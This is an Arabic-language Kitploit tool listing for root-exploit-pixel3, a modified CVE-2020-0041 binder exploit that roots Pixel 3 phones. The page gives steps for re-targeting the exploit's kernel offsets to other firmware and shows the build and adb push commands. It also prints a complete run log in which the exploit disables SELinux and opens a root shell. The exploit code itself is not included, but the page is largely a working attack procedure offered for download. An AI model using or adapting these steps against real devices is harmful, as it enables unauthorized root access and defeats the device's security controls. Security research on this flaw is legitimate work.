Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
root-exploit-pixel3 — ثغرة CVE-2020-0041 المُعدَّلة لاستغلال الجذر على Pixel 3 | Kitploit
أدوات/GitHubGitHub/jcalabres/root-exploit-pixel3
أمان أندرويدتصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةاختبار الاختراقاستغلال الملفات الثنائية
GitHubjcalabres/root-exploit-pixel3

root-exploit-pixel3

ثغرة CVE-2020-0041 المُعدَّلة لاستغلال الجذر على Pixel 3

عرض المستودع
135منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال الثغرة للحصول على صلاحيات الجذر لعائلة Pixel 3

يحتوي هذا المجلد على استغلال لتصعيد الامتيازات المحلية، وهو تعديل لـ PoC من bluefrostsecurity لـ CVE-2020-0041. يعطل الاستغلال SELinux ثم يشغل قشرة جذر.

  • تم توفير الاستغلال مع إزاحة (offsets) مثبتة بشكل ثابت لجهاز Pixel 3 يعمل بالبرنامج الثابت لشهر فبراير 2020 (QQ1A.200205.002). يمكن تكييف الاستغلال لأي جهاز Pixel 3 بمجرد اتباع الخطوات أدناه.

  • تم إجراء بعض التغييرات لتجنب قيود المستخدم الجذر (الاستغلال الأصلي غير قابل للاستخدام).

تكييف الاستغلال

  1. من أجل تكييف الاستغلال لأي جهاز Pixel 3، يجب تحميل البرنامج الثابت المحدد المعرض للثغرة (QQ1A.200205.002) من الموقع الرسمي صور أندرويد للمطورين.

  2. لاحقًا، قم بتحويل boot.img إلى zImage. لفعل ذلك، استخدم abootimg.

root@kitploit:~
./abootimg -x [path_to_boot_img]
  1. من أجل الحصول على صورة غير مضغوطة للنواة تحتوي على الرموز والإزاحة الصحيحة، استخدم أداة vmlinux-to-elf.
root@kitploit:~
vmlinux-to-elf [path_to_zImage] [kernel.elf] 
  1. استخدم مفككًا من اختيارك للعثور على التسميات المتعلقة بإزاحة الاستغلال الموجودة في exploit.c:
root@kitploit:~
SELINUX_ENFORCING_OFFSET 
MEMSTART_ADDR_OFFSET 
SYSCTL_TABLE_ROOT_OFFSET
PROC_DOUINTVEC_OFFSET
INIT_TASK_OFFSET
INIT_CRED_OFFSET
OFFSET_PIPE_FOP
  1. قم بمحاذاة exploit.c مع الإزاحة الصحيحة.

  2. الربح :)

اختبار الاستغلال

يمكن بناء الاستغلال ببساطة عن طريق تشغيل "make" مع Android NDK في المسار (يمكنك أيضًا أخذ ملف poc الثنائي من مسار libs/arm64-v8a). يمكن أيضًا دفعه إلى هاتف متصل بـ adb عن طريق تنفيذ "make all push" (تم حذف التحذيرات للاختصار):

root@kitploit:~
user@laptop:~/CVE-2020-0041/lpe$ make all push
Building Android
NDK_PROJECT_PATH=. ndk-build NDK_APPLICATION_MK=./Application.mk
make[1]: Entering directory `/home/user/CVE-2020-0041/lpe'
[arm64-v8a] Compile        : poc <= exploit.c
[arm64-v8a] Compile        : poc <= endpoint.c
[arm64-v8a] Compile        : poc <= pending_node.c
[arm64-v8a] Compile        : poc <= binder.c
[arm64-v8a] Compile        : poc <= log.c
[arm64-v8a] Compile        : poc <= helpers.c
[arm64-v8a] Compile        : poc <= binder_lookup.c
[arm64-v8a] Compile        : poc <= realloc.c
[arm64-v8a] Compile        : poc <= node.c
[arm64-v8a] Executable     : poc
[arm64-v8a] Install        : poc => libs/arm64-v8a/poc
make[1]: Leaving directory `/home/user/CVE-2020-0041/lpe'
adb push libs/arm64-v8a/poc /data/local/tmp/poc
libs/arm64-v8a/poc: 1 file pushed. 4.3 MB/s (39016 bytes in 0.009s)

الآن فقط قم بتشغيل /data/local/tmp/poc من قشرة adb لرؤية الاستغلال يعمل:

root@kitploit:~
blueline:/ $ /data/local/tmp/poc
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd9c67c7700
[*] file epitem at ffffffda545d7d00
[*] Reallocating content of 'write8_inode' with controlled data.[DONE]
[+] Overwriting 0xffffffd9c67c7720 with 0xffffffda545d7d50...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff97df1af650
[+] kernel base: ffffff97dd280000
[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]
[+] Overwriting 0xffffff97dfe24000 with 0x0...[DONE]
[*] init_cred: ffffff97dfc300a0
[+] memstart_addr: 0xffffffe700000000
[+] First level entry: ceac5003 -> next table at ffffffd9ceac5000
[+] Second level entry: f173c003 -> next table at ffffffd9f173c000
[+] sysctl_table_root = ffffff97dfc5a3f8
[*] Reallocating content of 'write8_sysctl' with controlled data.[DONE]
[+] Overwriting 0xffffffda6da8d868 with 0xffffffda49ced000...[DONE]
[+] Injected sysctl node!
[*] Node write8_inode, pid 7058, kaddr ffffffda0723f900
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 6848, kaddr ffffffd9c9fa2400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 7110, kaddr ffffffda67e7d180
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffd9c67c7720
[*] epitem.prev = ffffffd9c67c77d8
^[[*] Launching privileged shell
root_by_cve-2020-0041:/ # id   
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
root_by_cve-2020-0041:/ # getenforce
Permissive
root_by_cve-2020-0041:/ # 
تنزيل الأداة